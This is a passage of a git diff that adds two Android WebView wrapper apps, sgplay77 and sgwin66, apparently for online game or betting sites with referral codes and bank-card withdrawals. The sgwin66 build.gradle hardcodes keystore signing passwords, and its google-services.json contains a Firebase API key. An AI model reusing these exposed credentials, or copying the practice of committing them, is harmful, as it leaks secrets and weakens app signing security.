b/sgplay77/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..dd38909 Binary files /dev/null and b/sgplay77/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/sgplay77/src/main/res/values-en/strings.xml b/sgplay77/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/sgplay77/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/sgplay77/src/main/res/values-night/themes.xml b/sgplay77/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/sgplay77/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sgplay77/src/main/res/values/colors.xml b/sgplay77/src/main/res/values/colors.xml new file mode 100644 index 0000000..7895913 --- /dev/null +++ b/sgplay77/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/sgplay77/src/main/res/values/strings.xml b/sgplay77/src/main/res/values/strings.xml new file mode 100644 index 0000000..52035f8 --- /dev/null +++ b/sgplay77/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + SGPLAY77 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sgplay77/src/main/res/values/themes.xml b/sgplay77/src/main/res/values/themes.xml new file mode 100644 index 0000000..e1c80ec --- /dev/null +++ b/sgplay77/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sgplay77/src/main/res/xml/app_updater_paths.xml b/sgplay77/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/sgplay77/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/sgplay77/src/main/res/xml/network_security_config.xml b/sgplay77/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/sgplay77/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/sgplay77/src/main/res/xml/provider_paths.xml b/sgplay77/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/sgplay77/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/sgplay77/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/sgplay77/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/sgplay77/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/sgwin66/.gitignore b/sgwin66/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/sgwin66/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/sgwin66/build.gradle b/sgwin66/build.gradle new file mode 100644 index 0000000..1098ca8 --- /dev/null +++ b/sgwin66/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.sgwin66" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "sgwin66" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/sgwin66/dskjweb.jks b/sgwin66/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/sgwin66/dskjweb.jks differ diff --git a/sgwin66/google-services.json b/sgwin66/google-services.json new file mode 100644 index 0000000..24c721e --- /dev/null +++ b/sgwin66/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "719470144436", + "project_id": "sgwin66-f27c3", + "storage_bucket": "sgwin66-f27c3.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:719470144436:android:403ea1dd5d718d2aeb60e1", + "android_client_info": { + "package_name": "com.web.sgwin66" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCDX5Lyt4QCHZCjAW_SGIVzknQ3Mz-Nt5E" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/sgwin66/ppn.jks b/sgwin66/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/sgwin66/ppn.jks differ diff --git a/sgwin66/proguard-rules.pro b/sgwin66/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/sgwin66/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/sgwin66/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/sgwin66/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/sgwin66/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/sgwin66/src/main/AndroidManifest.xml b/sgwin66/src/main/AndroidManifest.xml new file mode 100644 index 0000000..e8c5230 --- /dev/null +++ b/sgwin66/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sgwin66/src/main/java/com/web/sgwin66/MainActivity.java b/sgwin66/src/main/java/com/web/sgwin66/MainActivity.java new file mode 100644 index 0000000..9e92c6a --- /dev/null +++ b/sgwin66/src/main/java/com/web/sgwin66/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.sgwin66; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 191; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://sgwin66.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#a8232c"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#FFFFFF"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); + Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/sgwin66/src/main/java/com/web/sgwin66/MyFirebaseMessageingService.java b/sgwin66/src/main/java/com/web/sgwin66/MyFirebaseMessageingService.java new file mode 100644 index 0000000..b4fd9ce --- /dev/null +++ b/sgwin66/src/main/java/com/web/sgwin66/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.sgwin66; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/sgwin66/src/main/java/com/web/sgwin66/WebApplication.java b/sgwin66/src/main/java/com/web/sgwin66/WebApplication.java new file mode 100644 index 0000000..6841cae --- /dev/null +++ b/sgwin66/src/main/java/com/web/sgwin66/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.sgwin66; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/sgwin66/src/main/res/drawable-anydpi/ic_action_back.xml b/sgwin66/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/sgwin66/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/sgwin66/src/main/res/drawable-hdpi/ic_action_back.png b/sgwin66/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/sgwin66/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/sgwin66/src/main/res/drawable-mdpi/ic_action_back.png b/sgwin66/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/sgwin66/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/sgwin66/src/main/res/drawable-v24/ic_launcher_foreground.xml b/sgwin66/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/sgwin66/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/sgwin66/src/main/res/drawable-xhdpi/ic_action_back.png b/sgwin66/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/sgwin66/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/sgwin66/src/main/res/drawable-xxhdpi/ic_action_back.png b/sgwin66/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/sgwin66/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/sgwin66/src/main/res/drawable/big_bg.xml b/sgwin66/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..415aa5c --- /dev/null +++ b/sgwin66/src/main/res/drawable/big_bg.xml @@ -0,0 +1,9 @@ + + + + \ No newline at end of file diff --git a/sgwin66/src/main/res/drawable/ic_launcher_background.xml b/sgwin66/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/sgwin66/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/sgwin66/src/main/res/drawable/input_bg.xml b/sgwin66/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/sgwin66/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/sgwin66/src/main/res/drawable/pass_word_bg.xml b/sgwin66/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/sgwin66/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/sgwin66/src/main/res/drawable/pass_word_bg1.xml b/sgwin66/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/sgwin66/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/sgwin66/src/main/res/drawable/pass_word_bg2.xml b/sgwin66/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/sgwin66/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/sgwin66/src/main/res/drawable/shape_btn_bg.xml b/sgwin66/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/sgwin66/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sgwin66/src/main/res/drawable/shape_dialog_bg2.xml b/sgwin66/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/sgwin66/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/sgwin66/src/main/res/drawable/shape_dialog_bg3.xml b/sgwin66/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/sgwin66/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sgwin66/src/main/res/drawable/shape_dialog_bg_new.xml b/sgwin66/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/sgwin66/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sgwin66/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/sgwin66/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/sgwin66/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sgwin66/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/sgwin66/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/sgwin66/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sgwin66/src/main/res/mipmap-hdpi/ic_empty.png b/sgwin66/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/sgwin66/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/sgwin66/src/main/res/mipmap-hdpi/ic_pull_down.png b/sgwin66/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/sgwin66/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/sgwin66/src/main/res/mipmap-xhdpi/ic_close.png b/sgwin66/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/sgwin66/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/sgwin66/src/main/res/mipmap-xhdpi/ic_menu.png b/sgwin66/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/sgwin66/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/sgwin66/src/main/res/mipmap-xxhdpi/app_logo.png b/sgwin66/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..ce2119b Binary files /dev/null and b/sgwin66/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/sgwin66/src/main/res/mipmap-xxhdpi/load_img.gif b/sgwin66/src/main/res/mipmap-xxhdpi/load_img.gif new file mode 100644 index 0000000..ffbcb96 Binary files /dev/null and b/sgwin66/src/main/res/mipmap-xxhdpi/load_img.gif differ diff --git a/sgwin66/src/main/res/values-en/strings.xml b/sgwin66/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/sgwin66/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/sgwin66/src/main/res/values-night/themes.xml b/sgwin66/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/sgwin66/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sgwin66/src/main/res/values/colors.xml b/sgwin66/src/main/res/values/colors.xml new file mode 100644 index 0000000..19ff471 --- /dev/null +++ b/sgwin66/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #FFFFFF + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/sgwin66/src/main/res/values/strings.xml b/sgwin66/src/main/res/values/strings.xml new file mode 100644 index 0000000..7efa805 --- /dev/null +++ b/sgwin66/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + SGWIN66 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sgwin66/src/main/res/values/themes.xml b/sgwin66/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/sgwin66/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sgwin66/src/main/res/xml/app_updater_paths.xml b/sgwin66/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/sgwin66/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/sgwin66/src/main/res/xml/network_security_config.xml b/sgwin66/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/sgwin66/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/sgwin66/src/main/res/xml/provider_paths.xml b/sgwin66/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/sgwin66/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git 